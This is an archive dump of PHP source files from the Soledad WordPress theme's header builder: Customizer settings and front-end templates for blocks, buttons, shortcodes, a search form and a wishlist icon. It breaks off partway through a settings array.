PK     N\/Pt    *  inc/builder/elements/pb_block/settings.phpnu [        <?php 

$options = [];

$options[] = array(
	'id'              => 'penci_header_pb_block_select',
	'default'         => '',
	'transport'       => 'postMessage',
	'sanitize'        => 'penci_sanitize_choices_field',
	'type'            => 'soledad-fw-ajax-select',
	'label'           => esc_html__( 'Select the Penci Block', 'soledad' ),
	'choices'         => call_user_func( function () {
		$builder_layout  = [ '' => '- Select -' ];
		$builder_layouts = get_posts( [
			'post_type'      => 'penci-block',
			'posts_per_page' => - 1,
		] );

		foreach ( $builder_layouts as $builder_builder ) {
			$builder_layout[ $builder_builder->post_name ] = $builder_builder->post_title;
		}

		return $builder_layout;
	} ),
	'partial_refresh' => [
		'penci_header_pb_block_select' => [
			'selector'        => '.pc-wrapbuilder-header-inner',
			'render_callback' => function () {
				load_template( PENCI_BUILDER_PATH . '/template/desktop-builder.php' );
			},
		],
	],
);

$options[] = array(
	'id'        => 'penci_header_pb_block_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Item Spacing', 'soledad' ),
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
	),
);

return $options;
PK     N\mu9    5  inc/builder/elements/pb_vertical_line_2/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
// verical line
$line2_width = penci_builder_validate_mod( $header_data, 'penci_header_pb_vertical_line2_width' );
$line2_height = penci_builder_validate_mod( $header_data, 'penci_header_pb_vertical_line2_height' );
$line2_color = penci_builder_validate_mod( $header_data, 'penci_header_pb_vertical_line2_color' );
$line2_class = penci_builder_validate_mod( $header_data, 'penci_header_pb_vertical_line2_class' );
$data_attr   = [];
if ( ! empty( $line2_width ) ) {
	$data_attr[] = 'width:' . $line2_width . 'px;';
}
if ( ! empty( $line2_height ) ) {
	$data_attr[] = 'height:' . $line2_height . 'px;';
}
if ( ! empty( $line2_color ) ) {
	$data_attr[] = 'background-color:' . $line2_color . ';';
}
$data_attr = implode( ' ', $data_attr );
?>
<div style="<?php echo $data_attr; ?>"
     class="penci-builder-element penci-vertical-line vertical-line-2 <?php echo esc_attr( $line2_class ); ?>"></div>
PK     N\)5  5  4  inc/builder/elements/pb_vertical_line_2/settings.phpnu [        <?php 

$general_config = 'penci_builder_mods';
$options        = [];
$options[]      = array(
	'id'        => 'penci_header_pb_vertical_line2_width',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Vertical Line Width', 'soledad' ),
);
$options[]      = array(
	'id'        => 'penci_header_pb_vertical_line2_height',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Vertical Line Height', 'soledad' ),
);
$options[]      = array(
	'id'        => 'penci_header_pb_vertical_line2_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Vertical Line Color', 'soledad' ),
);
$options[]      = array(
	'id'        => 'penci_header_pb_vertical_line2_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Element Spacing', 'soledad' ),
	'choices'   => array(
		'margin' => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
	),
);
$options[]      = array(
	'id'        => 'penci_header_pb_vertical_line2_class',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Custom CSS Class', 'soledad' ),
);

return $options;
PK     N\D    -  inc/builder/elements/pb_block_2/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
$block = penci_builder_validate_mod( $header_data, 'penci_header_pb_block_2_select' );
if ( ! empty( $block ) ) {
	?>
    <div class="penci-header-block penci-header-block-2">
		<?php
		$block_id = '';
		$block_oj = get_page_by_path( $block, OBJECT, 'penci-block' );
		if ( $block_oj ) {
			$block_id = $block_oj->ID;
		}
		if ( $block_id ) {
			if ( did_action( 'elementor/loaded' ) && \Elementor\Plugin::$instance->documents->get( $block_id )->is_built_with_elementor()  ) {
				echo penci_get_elementor_content( $block_id );
			} else {
				$block_content = get_post( $block_id );
				echo do_shortcode( $block_content->post_content );

				$shortcodes_custom_css = get_post_meta( $block_id, '_wpb_shortcodes_custom_css', true );

				echo '<style data-type="vc_shortcodes-custom-css">';
				if ( ! empty( $shortcodes_custom_css ) ) {
					echo $shortcodes_custom_css;
				}
				echo '</style>';
			}
		} ?>
    </div>
	<?php
}
PK     N\@W  W  ,  inc/builder/elements/pb_block_2/settings.phpnu [        <?php 

$pb_block_2_section = 'penci_header_pb_block_2_section';
$options            = [];
$options[]          = array(
	'id'              => 'penci_header_pb_block_2_select',
	'default'         => '',
	'transport'       => 'postMessage',
	'sanitize'        => 'penci_sanitize_choices_field',
	'type'            => 'soledad-fw-ajax-select',
	'label'           => esc_html__( 'Select the Penci Block', 'soledad' ),
	'choices'         => call_user_func( function () {
		$builder_layout  = [ '' => '- Select -' ];
		$builder_layouts = get_posts( [
			'post_type'      => 'penci-block',
			'posts_per_page' => - 1,
		] );
		foreach ( $builder_layouts as $builder_builder ) {
			$builder_layout[ $builder_builder->post_name ] = $builder_builder->post_title;
		}

		return $builder_layout;
	} ),
	'partial_refresh' => [
		'penci_header_pb_block_2_select' => [
			'selector'        => '.pc-wrapbuilder-header-inner',
			'render_callback' => function () {
				load_template( PENCI_BUILDER_PATH . '/template/desktop-builder.php' );
			},
		],
	],
);
$options[]          = array(
	'id'        => 'penci_header_pb_block_2_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Item Spacing', 'soledad' ),
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
	),
);

return $options;
PK     N\\OU  U  ,  inc/builder/elements/pb_button/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
$btn_link        = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_link_setting', false );
$btn_link_rel    = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_link_rel', 'noreferrer' );
$btn_link_target = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_link_target', '_blank' );
$btn_title       = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_text_setting', false );
$btn_style       = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_style', 'style-4' );
$btn_shape       = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_shape', 'ratangle' );

$classes   = [];
$classes[] = 'penci-builder penci-builder-button button-1';
$classes[] = 'button-define-' . $btn_style;
$classes[] = 'button-shape-' . $btn_shape;
$classes[] = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_txt_css_class', 'default' );
$btn_title = ! empty( $btn_title ) ? $btn_title : 'Button Text';

if ( ( $btn_link && $btn_title ) || is_customize_preview() ):?>
    <a target="<?php echo esc_attr( $btn_link_target ); ?>" rel="<?php echo esc_attr( $btn_link_rel ); ?>"
       href="<?php echo esc_url( $btn_link ); ?>" class="<?php echo implode( ' ', $classes ); ?> ">
		<?php echo $btn_title; ?>
    </a>
<?php 
endif; ?>
PK     N\jr\  \  +  inc/builder/elements/pb_button/settings.phpnu [        <?php 

$options   = [];
$options[] = array(
	'id'              => 'penci_header_pb_button_text_setting',
	'default'         => 'Button Text',
	'transport'       => 'postMessage',
	'sanitize'        => 'penci_sanitize_choices_field',
	'type'            => 'soledad-fw-text',
	'label'           => __( 'Button Text', 'soledad' ),
	'partial_refresh' => [
		'penci_header_pb_button_text_setting' => [
			'selector'        => '.pc-wrapbuilder-header-inner',
			'render_callback' => function () {
				load_template( PENCI_BUILDER_PATH . '/template/desktop-builder.php' );
			},
		],
	],
);
$options[] = array(
	'id'        => 'penci_header_pb_button_link_setting',
	'default'   => 'https://your-link.com',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-text',
	'label'     => __( 'Button Link', 'soledad' ),
	'priority'  => 10,
);
$options[] = array(
	'id'        => 'penci_header_pb_button_link_target',
	'default'   => '_blank',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => __( 'Link Target', 'soledad' ),
	'choices'   => [
		'_blank'  => __('Blank','soledad' ),
		'_self'   => __('Self','soledad' ),
		'_parent' => __('Parent','soledad' ),
		'_top'    => __('Top','soledad' ),
	]
);
$options[] = array(
	'id'        => 'penci_header_pb_button_link_rel',
	'default'   => 'noreferrer',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Select "rel" Attribute Type for Button Link','soledad' ),
	'type'      => 'soledad-fw-select',
	'choices'   => array(
		'none'                         => __('None','soledad' ),
		'nofollow'                     => __('nofollow','soledad' ),
		'noreferrer'                   => __('noreferrer','soledad' ),
		'noopener'                     => __('noopener','soledad' ),
		'noreferrer_noopener'          => __('noreferrer noopener','soledad' ),
		'nofollow_noreferrer'          => __('nofollow noreferrer','soledad' ),
		'nofollow_noopener'            => __('nofollow noopener','soledad' ),
		'nofollow_noreferrer_noopener' => __('nofollow noreferrer noopener','soledad' ),
	)
);
$options[] = array(
	'id'        => 'penci_header_pb_button_style',
	'default'   => 'style-4',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => __( 'Button Pre-define Style', 'soledad' ),
	'choices'   => [
		'customize' => __('Default','soledad' ),
		'style-4'   => __('Filled','soledad' ),
		'style-1'   => __('Bordered','soledad' ),
		'style-2'   => __('Link','soledad' ),
		'style-3'   => __('Creative','soledad' ),
	]
);
$options[] = array(
	'id'        => 'penci_header_pb_button_shape',
	'default'   => 'ratangle',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => __( 'Button Shape', 'soledad' ),
	'choices'   => [
		'ratangle' => __('Retangle','soledad' ),
		'circle'   => __('Circle','soledad' ),
		'round'    => __('Round','soledad' ),
	]
);
$options[] = array(
	'id'        => 'penci_header_pb_button_spacing_setting',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'   => __( 'Button Spacing', 'soledad' ),
	'choices' => array(
		'margin'        => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding'       => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
		'border'        => array(
			'border-top'    => '',
			'border-right'  => '',
			'border-bottom' => '',
			'border-left'   => '',
		),
		'border-radius' => array(
			'border-radius-top'    => '',
			'border-radius-right'  => '',
			'border-radius-bottom' => '',
			'border-radius-left'   => '',
		),
	),
);
/* start font */
$options[] = array(
	'id'        => 'penci_header_pb_button_font',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font For Button Text','soledad' ),
	'type'      => 'soledad-fw-select',
	'choices'   => penci_all_fonts( 'select' )
);
$options[] = array(
	'id'        => 'penci_header_pb_button_font_w',
	'default'   => 'bold',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font Weight For Button Text','soledad' ),
	'type'      => 'soledad-fw-select',
	'choices'   => array(
		'normal'  => __('Normal','soledad' ),
		'bold'    => __('Bold','soledad' ),
		'bolder'  => __('Bolder','soledad' ),
		'lighter' => __('Lighter','soledad' ),
		'100'     => __('100','soledad' ),
		'200'     => __('200','soledad' ),
		'300'     => __('300','soledad' ),
		'400'     => __('400','soledad' ),
		'500'     => __('500','soledad' ),
		'600'     => __('600','soledad' ),
		'700'     => __('700','soledad' ),
		'800'     => __('800','soledad' ),
		'900'     => __('900','soledad' ),
	)
);
$options[] = array(
	'id'        => 'penci_header_pb_button_font_s',
	'default'   => 'normal',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font Style for Button Text','soledad' ),
	'type'      => 'soledad-fw-select',
	'choices'   => array(
		'normal' => 'Normal',
		'italic' => 'Italic'
	)
);
/* end font*/
$options[] = array(
	'id'        => 'penci_header_pb_button_border_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Borders Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_button_border_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Borders Hover Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_button_bg_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_button_bg_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',

	'label' => __( 'Background Hover Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_button_txt_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Text Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_button_txt_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Text Hover Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_button_txt_size',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => __('Button Font Size','soledad' ),
	'ids'       => array(
		'desktop' => 'penci_header_pb_button_txt_size',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'       => 'penci_header_pb_button_txt_css_class',
	'default'  => '',
	'sanitize' => 'penci_sanitize_textarea_field',
	'type'     => 'soledad-fw-text',
	'label'    => esc_html__( 'Custom CSS Class', 'soledad' ),
);
return $options;
PK     N\@S    1  inc/builder/elements/pb_shortcode_3/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
$shortcode_html  = penci_builder_validate_mod( $header_data, 'penci_header_builder_pb_shortcode_3_name', false );
$shortcode_class = penci_builder_validate_mod( $header_data, 'penci_header_builder_pb_shortcode_3_class' );
if ( empty( $shortcode_html ) ) {
	return false;
}
?>

<div class="penci-builder-element penci-shortcodes-3 <?php echo esc_attr( $shortcode_class ); ?>">
	<?php echo do_shortcode( $shortcode_html ); ?>
</div>
PK     N\HFJ6  6  0  inc/builder/elements/pb_shortcode_3/settings.phpnu [        <?php 

$options = [];
$options[] = array(
	'id'                => 'penci_header_builder_pb_shortcode_3_name',
	'default'           => '',
	'transport'         => 'postMessage',
	'sanitize_callback' => 'penci_sanitize_choices_field',
	'type'              => 'soledad-fw-textarea',
	
	'label'             => esc_html__( 'Shortcode Code', 'soledad' ),
	'priority' => 10,
);
$options[] = array(
	'id'                => 'penci_header_builder_pb_shortcode_3_spacing',
	'default'           => '',
	'transport'         => 'postMessage',
	'sanitize_callback' => 'penci_sanitize_choices_field',
	'type'              =>  'soledad-fw-box-model',
	'label'             => __( 'Element Spacing', 'soledad' ),
	'choices' => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
	),
);
$options[] = array(
	'id'                => 'penci_header_builder_pb_shortcode_3_class',
	'default'           => '',
	'transport'         => 'postMessage',
	'sanitize_callback' => 'penci_sanitize_textarea_field',
	'type'              =>  'soledad-fw-text',
	'label'             => esc_html__( 'Custom CSS Class', 'soledad' ),
);
return $options;PK     N\\0-    1  inc/builder/elements/pb_search_form/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
$class   = [];
$class[] = 'search-style-' . penci_builder_validate_mod( $header_data, 'penci_header_pb_search_form_style' );
$class[] = penci_builder_validate_mod( $header_data, 'penci_header_pb_search_form_menu_class' );
penci_search_form( [
	'wrapper_custom_classes' => 'penci-builder-element pc-search-form-desktop pc-search-form ' . implode( ' ', $class ),
	'el_classes'             => 'pc-searchform',
] );
PK     N\fchg  g  0  inc/builder/elements/pb_search_form/settings.phpnu [        <?php 

$options   = [];
$options[] = array(
	'id'        => 'penci_header_pb_search_form_style',
	'default'   => 'default',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Search Style','soledad' ),

	'type'    => 'soledad-fw-select',
	'choices' => array(
		'default'     => __('Default','soledad' ),
		'text-button' => __('Text Button','soledad' ),
		'icon-button' => __('Icon Button','soledad' ),
	)
);
$options[] = array(
	'id'        => 'penci_header_pb_search_form_bg_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Background Color','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_search_form_border_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Borders Color','soledad' ),
	'type'      => 'soledad-fw-color',
);
$options[] = array(
	'id'        => 'penci_header_pb_search_form_txt_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Text Color','soledad' ),
	'type'      => 'soledad-fw-color',
);
$options[] = array(
	'id'        => 'penci_header_pb_search_form_btntxt_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Icon/Button Text Color','soledad' ),
	'type'      => 'soledad-fw-color',
);
$options[] = array(
	'id'        => 'penci_header_pb_search_form_btnhtxt_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Button Hover Text Color','soledad' ),
	'type'      => 'soledad-fw-color',
);
$options[] = array(
	'id'        => 'penci_header_pb_search_form_btn_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Button Background Color','soledad' ),
	'type'      => 'soledad-fw-color',
);
$options[] = array(
	'id'        => 'penci_header_pb_search_form_btn_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Button Background Hover Color','soledad' ),
	'type'      => 'soledad-fw-color',
);
$options[] = array(
	'id'        => 'penci_header_pb_search_form_width',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'label'     => __('Search Form Max Width','soledad' ),
	'type'      => 'soledad-fw-size',
	'ids'       => array(
		'desktop' => 'penci_header_pb_search_form_width',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 1200,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_search_form_height',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'label'     => __('Custom Height','soledad' ),
	'type'      => 'soledad-fw-size',
	'ids'       => array(
		'desktop' => 'penci_header_pb_search_form_height',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 1200,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_search_form_input_size',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'label'     => __('Font Size for Input Text','soledad' ),
	'type'      => 'soledad-fw-size',
	'ids'       => array(
		'desktop' => 'penci_header_pb_search_form_input_size',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 1200,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_search_form_btn_size',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'label'     => __('Font Size for Button/Icon','soledad' ),
	'type'      => 'soledad-fw-size',
	'ids'       => array(
		'desktop' => 'penci_header_pb_search_form_btn_size',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 1200,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_search_form_input_pdl',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-size',
	'ids'       => array(
		'desktop' => 'penci_header_pb_search_form_input_pdl',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 1200,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
	'label'     => __( 'Input Text Padding Left', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_search_form_input_pdr',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-size',
	'ids'       => array(
		'desktop' => 'penci_header_pb_search_form_input_pdr',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 1200,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
	'label'     => __( 'Input Text Padding Right', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_search_form_btn_pdl',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-size',
	'ids'       => array(
		'desktop' => 'penci_header_pb_search_form_btn_pdl',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 1200,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
	'label'     => __( 'Button Padding Left', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_search_form_btn_pdr',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-size',
	'ids'       => array(
		'desktop' => 'penci_header_pb_search_form_btn_pdr',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 1200,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
	'label'     => __( 'Button Padding Right', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_search_form_menu_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Element Spacing', 'soledad' ),
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_search_form_menu_class',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Custom CSS Class', 'soledad' ),

);

return $options;
PK     N\~g*    3  inc/builder/elements/pb_wishlist_icon/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
$wishlist_page_id = get_theme_mod( 'penci_woocommerce_wishlist_page' );
if ( $wishlist_page_id ) :
	?>
    <div id="top-header-wishlist"
         class="pc-builder-element penci-builder-elements top-search-classes pcheader-icon wishlist-icon">
        <a class="wishlist-contents pc-button-define-<?php echo penci_builder_validate_mod( $header_data, 'penci_header_pb_wishlist_icon_section_btnstyle','customize' ); ?>" href="<?php echo esc_url( get_page_link( $wishlist_page_id ) ); ?>"
           title="<?php echo penci_woo_translate_text( 'penci_woo_trans_viewwishlist' ); ?>">

            <i class="penciicon-heart"></i>
            <span><?php do_action( 'penci_current_wishlist' ); ?></span>
        </a>
    </div>
<?php 
endif;
PK     N\    2  inc/builder/elements/pb_wishlist_icon/settings.phpnu [        <?php 

$options   = [];
$options[] = array(
	'id'        => 'penci_header_pb_wishlist_icon_section_btnstyle',
	'default'   => 'customize',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => __( 'Cart Icon Button Pre-define Style', 'soledad' ),
	'choices'   => [
		'customize' => __('Default','soledad' ),
		'style-4'   => __('Filled','soledad' ),
		'style-1'   => __('Bordered','soledad' ),
		'style-2'   => __('Link','soledad' ),
	]
);
$options[] = array(
	'id'        => 'penci_header_pb_wishlist_icon_section_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Wishlist Icon Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_wishlist_icon_section_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Wishlist Icon Hover Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_wishlist_icon_section_bd_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Wishlist Icon Borders Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_wishlist_icon_section_bdh_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Wishlist Icon Hover Borders Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_wishlist_icon_section_bg_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Wishlist Icon Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_wishlist_icon_section_bgh_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Wishlist Icon Hover Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_wishlist_icon_section_item_count_txt',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Number Count Text Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_wishlist_icon_section_item_count_bg',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Number Count Text Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_wishlist_icon_section_size',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => __('Icon Size','soledad' ),
	'ids'       => array(
		'desktop' => 'penci_header_pb_wishlist_icon_section_size',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_wishlist_icon_section_btnbstyle',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => __( 'Button Borders Style', 'soledad' ),
	'choices'   => [
		''       => __('Default','soledad' ),
		'none'   => __('None','soledad' ),
		'dotted' => __('Dotted','soledad' ),
		'dashed' => __('Dashed','soledad' ),
		'solid'  => __('Solid','soledad' ),
		'double' => __('Double','soledad' ),
	],
);
$options[] = array(
	'id'        => 'penci_header_pb_wishlist_icon_section_btnspacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Button Spacing', 'soledad' ),
	'choices'   => array(
		'margin'        => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding'       => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
		'border'        => array(
			'border-top'    => '',
			'border-right'  => '',
			'border-bottom' => '',
			'border-left'   => '',
		),
		'border-radius' => array(
			'border-radius-top'    => '',
			'border-radius-right'  => '',
			'border-radius-bottom' => '',
			'border-radius-left'   => '',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_wishlist_icon_section_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
